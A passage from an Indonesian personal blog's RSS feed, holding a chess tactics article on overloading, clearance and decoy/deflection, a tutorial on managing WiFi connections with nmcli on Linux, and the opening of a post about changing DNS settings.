&lt;/section&gt;</content:encoded></item><item><title>Chess Tactics: Overloading, Clearance, Decoy or Deflection</title><link>https://shangdi.github.io/posts/chess/pop-tactics3/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/pop-tactics3/</guid><description>This article shares about 3 popular tactics in chess, which are Overloading, Clearance, and Decoy or Deflection.</description><pubDate>Sun, 30 Mar 2025 06:33:57 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Seorang master catur Jerman kelahiran tahun 1868, &lt;a href=&quot;https://chesspuzzle.net/Player/Richard_Teichmann&quot; target=&quot;_blank&quot;&gt;Richard Teichmann&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;chess is 99% tactics&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Chess Tactics?&lt;a href=&quot;#what-is-chess-tactics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu taktik catur?&lt;br /&gt;
Pada dasarnya, taktik catur adalah gerakan / langkah (atau serangkaian langkah) yang memberikan keuntungan bagipemainnya. Keuntungan yang dimaksud dapat berupa keuntungan material, yaitu dengan memenangkan buah catur, ataubahkan skakmat.[^1] Ada banyak taktik yang dapat dipelajari dan digunakan dalam bermain catur, tapi biarkan saya mengulas salah tiga diantaranya, yaitu &lt;mark&gt;&lt;strong&gt;Overloading&lt;/strong&gt; &lt;/mark&gt;, &lt;mark&gt; &lt;strong&gt;Clearance&lt;/strong&gt; &lt;/mark&gt;,dan &lt;mark&gt; &lt;strong&gt;Decoy or Deflection&lt;/strong&gt; &lt;/mark&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Overloading&lt;a href=&quot;#overloading&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Overloading&lt;/strong&gt;&lt;/em&gt; adalah taktik yang memanfaatkan kelemahan buah catur lawan (umumnya perwira) yang sedang mengalami &lt;em&gt;&lt;strong&gt;overloading&lt;/strong&gt;&lt;/em&gt; karena harus menjaga banyak hal sekaligus. Dengan memanfaatkan kelemahan ini, kita bisa mendapatkan keunggulan material.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;overloading&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.CEPoyUaG_ZuPwbR.webp&quot; alt=&quot;Menteri / Ratu: Menteri putih mengalami overloading karena harus menjaga Benteng dan pion di g2 dari ancaman skakmat. Artinya, gajah hitam bisa melakukan forking di b4 pada Benteng dan Menteri sehingga putih harus merelakan Bentengnya dimakan gajah karena harus tetap berada di baris 2 untuk melindungi Raja dari skakmat.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;635&quot; /&gt;&lt;figcaption&gt;Menteri / Ratu: Menteri putih mengalami overloading karena harus menjaga Benteng dan pion di g2 dari ancaman skakmat. Artinya, gajah hitam bisa melakukan forking di b4 pada Benteng dan Menteri sehingga putih harus merelakan Bentengnya dimakan gajah karena harus tetap berada di baris 2 untuk melindungi Raja dari skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.BdNMW3It_Z1UnQWf.webp&quot; alt=&quot;Pion: Pion hitam di f7 mengalami overloading karena harus menjaga dua perwira sekaligus: Gajah dan Kuda. Benteng putih bisa makan gajah, kalau Benteng dimakan lagi oleh pion, maka Kuda juga akan tumbang dimakan Gajah putih.&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;633&quot; /&gt;&lt;figcaption&gt;Pion: Pion hitam di f7 mengalami overloading karena harus menjaga dua perwira sekaligus: Gajah dan Kuda. Benteng putih bisa makan gajah, kalau Benteng dimakan lagi oleh pion, maka Kuda juga akan tumbang dimakan Gajah putih.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.DGBfqWAH_1TptOa.webp&quot; alt=&quot;Kuda: Kuda hitam di f6 mengalami overloading karena harus menjaga 2 petak sekaligus, yaitu petak d7 dari ancaman forking dan petak h7 dari ancaman skakmat. Putih bisa dorong pion ke d7, forking, Benteng c8 ke d8, pion makan Benteng di e8 sekaligus promosi Menteri.&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Kuda: Kuda hitam di f6 mengalami overloading karena harus menjaga 2 petak sekaligus, yaitu petak d7 dari ancaman forking dan petak h7 dari ancaman skakmat. Putih bisa dorong pion ke d7, forking, Benteng c8 ke d8, pion makan Benteng di e8 sekaligus promosi Menteri.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Overloading Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Clearance&lt;a href=&quot;#clearance&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Clearance sacrifice atau yang biasa disebut &lt;strong&gt;Clearance&lt;/strong&gt; adalah taktik pengorbanan buah catur untuk membuka jalan/lajur/file bagi buah catur lainnya sehingga mendapatkan keuntungan yang lebih besar dari pengorbanan sebelumnya.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;clearance&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.CxPiAt5f_Z43ylf.webp&quot; alt=&quot;Benteng putih melakukan clearance dengan tempo skak agar Menteri bisa ke g8 untuk men-skakmat hitam.&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;632&quot; /&gt;&lt;figcaption&gt;Benteng putih melakukan clearance dengan tempo skak agar Menteri bisa ke g8 untuk men-skakmat hitam.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.71aPUiHN_vRQbE.webp&quot; alt=&quot;Kuda hitam melakukan clearance dengan tempo skak agar pion bisa promosi.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;635&quot; /&gt;&lt;figcaption&gt;Kuda hitam melakukan clearance dengan tempo skak agar pion bisa promosi.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.Dyh0XmvX_hua3z.webp&quot; alt=&quot;Benteng putih melakukan clearance agar Menteri bisa melakukan skakmat di g5.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Benteng putih melakukan clearance agar Menteri bisa melakukan skakmat di g5.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Clearance Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Decoy/Deflection&lt;a href=&quot;#decoydeflection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Decoy/Deflection&lt;/strong&gt; dilakukan untuk mengecoh dan mendistraksi buah catur lawan yang sedang melakukan tugasnya, seperti menjaga petak penting, menutup file yang terbuka, atau sedang melakukan &lt;em&gt;pinning&lt;/em&gt;. Taktik ini umumnya juga melibatkan pengorbanan buah catur atau memaksa lawan untuk menggerakkan buah caturnya sesuai dengan keinginan atau tujuan kita.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;decoy/deflection&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss7.YQnge3-c_Zbf6vo.webp&quot; alt=&quot;Menteri hitam skak ke h2, Raja harus makan, kemudian pion hitam makan Benteng sekaligus promosi menjadi Kuda dan mem-forking Raja &amp;amp; Menteri.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;632&quot; /&gt;&lt;figcaption&gt;Menteri hitam skak ke h2, Raja harus makan, kemudian pion hitam makan Benteng sekaligus promosi menjadi Kuda dan mem-forking Raja &amp;amp; Menteri.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss8.4x-R-we5_iXyBw.webp&quot; alt=&quot;Benteng putih dikorbankan ke h8 melakukan skak, Raja terpaksa makan, tapi Menteri putih ke h7 untuk melakukan skakmat.&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Benteng putih dikorbankan ke h8 melakukan skak, Raja terpaksa makan, tapi Menteri putih ke h7 untuk melakukan skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss9.CvY9RTtk_Z1VClJy.webp&quot; alt=&quot;Putih mengorbankan pion dengan mendorongnya ke g5, skak, Raja terpaksa makan, kemudian Menteri putih ke f4 skakmat.&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Putih mengorbankan pion dengan mendorongnya ke g5, skak, Raja terpaksa makan, kemudian Menteri putih ke f4 skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Decoy/Deflection Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul kualitas.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul kualitas.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>The Utilization of &apos;nmcli&apos; for Managing Wifi Network</title><link>https://shangdi.github.io/posts/tech/nmcli/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/nmcli/</guid><description>Having issue to connect your server to a network (wifi)? Here is the solution to the problem.</description><pubDate>Fri, 21 Mar 2025 08:55:32 GMT</pubDate><content:encoded>&lt;p&gt;Sebagai pengguna linux, terkadang, ada banyak alasan yang dapat kita sampaikan untuk tidak menggunakan GUI, mulai dari alasan yang paling logis seperti &lt;strong&gt;“pasang GUI di server akan memakan banyak &lt;em&gt;resource&lt;/em&gt;”&lt;/strong&gt; sampai alasan yang paling pragmatis seperti &lt;strong&gt;“malas”&lt;/strong&gt;. Hal tersebut memang tidak dapat dipungkiri, sebab linux pada dasarnya sudah sangat &lt;em&gt;useful&lt;/em&gt; (dan &lt;em&gt;powerfull&lt;/em&gt;) bahkan tanpa GUI sekalipun sehingga terkadang, beberapa pekerjaan dapat diselesaikan hanya melalui CLI saja.&lt;/p&gt;
&lt;p&gt;Salah satunya yaitu menghubungkan atau mengkoneksikan sistem kita ke jaringan internet, dalam hal ini adalah WiFi (&lt;em&gt;Wireless Fidelity&lt;/em&gt;). Kita dapat menghubungkan linux ke wifi tanpa perlu GUI karena kita dapat mengkoneksikannya via terminal atau CLI melalui program &lt;strong&gt;&lt;code&gt;iwctl&lt;/code&gt;&lt;/strong&gt; atau &lt;strong&gt;&lt;code&gt;nmcli&lt;/code&gt;&lt;/strong&gt;. Tapi, dalam artikel ini, saya hanya akan mengulas cara menggunakan &lt;strong&gt;&lt;code&gt;nmcli&lt;/code&gt;&lt;/strong&gt; saja.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebetulnya, &lt;strong&gt;&lt;code&gt;nmcli&lt;/code&gt;&lt;/strong&gt; akan sudah ter-&lt;em&gt;include&lt;/em&gt; di dalam linux sejak proses instalasi linux itu sendiri di awal. Jadi, kita tidak perlu meng-&lt;em&gt;install&lt;/em&gt;-nya lagi. Namun, berikut saya lampirkan sebuah paket yang terdapat &lt;em&gt;nmcli&lt;/em&gt; di dalamnya:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install network-manager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy networkmanager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install networkmanager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install networkmanager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Penggunaan&lt;a href=&quot;#penggunaan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakannya:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;- Mendaftar wifi yang tersedia&lt;a href=&quot;#--mendaftar-wifi-yang-tersedia&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wifi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Menghubungkan linux ke jaringan wifi&lt;a href=&quot;#--menghubungkan-linux-ke-jaringan-wifi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wifi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SSID_or_BSSID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;12345&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Menghubungkan jaringan wifi (tanpa memperlihatkan password)&lt;a href=&quot;#--menghubungkan-jaringan-wifi-tanpa-memperlihatkan-password&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wifi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SSID_or_BSSID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--ask&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Men-&lt;em&gt;disconnect&lt;/em&gt; jaringan wifi&lt;a href=&quot;#--men-disconnect-jaringan-wifi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disconnect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wlan0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Melihat daftar wifi yang pernah terhubung&lt;a href=&quot;#--melihat-daftar-wifi-yang-pernah-terhubung&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connection&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Menampilkan SSID &amp;amp; password (+ barcode) wifi&lt;a href=&quot;#--menampilkan-ssid--password--barcode-wifi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wifi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Menghapus wifi yang pernah terhubung&lt;a href=&quot;#--menghapus-wifi-yang-pernah-terhubung&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connection&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NAME_OR_UUID&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Melihat daftar dan status &lt;em&gt;interface&lt;/em&gt;&lt;a href=&quot;#--melihat-daftar-dan-status-interface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;device&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;- Mematikan wifi&lt;a href=&quot;#--mematikan-wifi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmcli&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;radio&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wifi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;off&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Contoh&lt;a href=&quot;#contoh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah contoh penggunaannya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mendaftar wifi yang tersedia&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing available wifi&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;227&quot; src=&quot;/_astro/ss1.DH_t7vTn_Z196imK.webp&quot; /&gt;&lt;figcaption&gt;listing available wifi&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menghubungkan wifi&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;connecting to a wifi network&quot; loading=&quot;lazy&quot; width=&quot;928&quot; height=&quot;319&quot; src=&quot;/_astro/ss2.BWqxpLGM_Z1jPrzA.webp&quot; /&gt;&lt;figcaption&gt;connecting to a wifi network&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Melihat status wifi&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;the wifis&apos; status&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;236&quot; src=&quot;/_astro/ss3.Bc8QeiJP_1MpGFv.webp&quot; /&gt;&lt;figcaption&gt;the wifis&apos; status&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menampilkan SSID, password, dan barcode wifi&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;showing wifis&apos; SSID &amp;amp;#x26; password (+ its barcode)&quot; loading=&quot;lazy&quot; width=&quot;374&quot; height=&quot;509&quot; src=&quot;/_astro/ss4.MeOMXKgs_Z16PMW2.webp&quot; /&gt;&lt;figcaption&gt;showing wifis&apos; SSID &amp;amp; password (+ its barcode)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Men-&lt;em&gt;disconnect&lt;/em&gt; wifi&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;disconnecting wifi network&quot; loading=&quot;lazy&quot; width=&quot;474&quot; height=&quot;174&quot; src=&quot;/_astro/ss5.D9bwrIBw_2j08Uf.webp&quot; /&gt;&lt;figcaption&gt;disconnecting wifi network&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/NetworkManager&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/NetworkManager&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>The Power of DNS (Domain Name System)</title><link>https://shangdi.github.io/posts/tech/changedns/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/changedns/</guid><description>Solving an &apos;undetected&apos; network problem with only one simple solution: Changing the DNS.</description><pubDate>Sat, 08 Mar 2025 02:33:37 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;The “WHY”&lt;a href=&quot;#the-why&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pembuatan artikel berjudul &lt;strong&gt;“The Power of DNS”&lt;/strong&gt; ini dilatarbelakangi oleh beberapa masalah yang dahulu kala sempat melanda saya dan cukup membuat frustasi mengingat saya sangat awam tentang jaringan internet semacam ini. Beberapa tantangan yang relatif sering saya hadapi, diantaranya:&lt;/p&gt;&lt;ul&gt;
